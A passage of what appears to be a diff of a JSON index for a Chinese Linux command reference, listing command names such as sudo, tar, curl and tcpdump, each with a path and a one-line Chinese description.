Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"将文件以行为单位的反序输出"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出。"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"Linux下的归档使用工具，用来打包和备份。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器。"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"把数据重定向到给定文件和屏幕上"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"shell环境中测试条件表达式工具"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权。"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"指定在接收到信号后将要采取的动作"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名。"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"用来设置限制新建文件权限的掩码"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"显示Linux系统信息"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"报告或忽略文件中的重复行"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"显示当前登录系统的所有用户"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序。"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件。"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机。"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称。"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示目前登录系统的用户信息"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具。"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"alias":{"n":"alias","p":"/alias","d":"用来设置指令的别名"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"用于将作业放到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"builtin":{"n":"builtin","p":"/builtin","d":"执行shell内部命令"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"创一个bz2文件压缩包"},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"解压缩指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接文件并打印到标准输出设备上"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"两个文件之间的比较"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明或显示shell变量"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录记录"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或关闭shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"设置或显示系统环境变量"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"fc":{"n":"fc","p":"/fc","d":"修改历史命令并执行"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业放到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"用来打印指定用户所属的工作组"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"在屏幕上显示指定文件的开头若干行"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"用于显示历史命令"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"用来打印当前主机的数字化标识"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"显示用户的ID以及所属群组的ID"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量 "},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示Linux中的任务列表及任务状态"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"删除执行中的程序或工作"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"locate":{"n":"locate","p":"/locate","d":"比 find 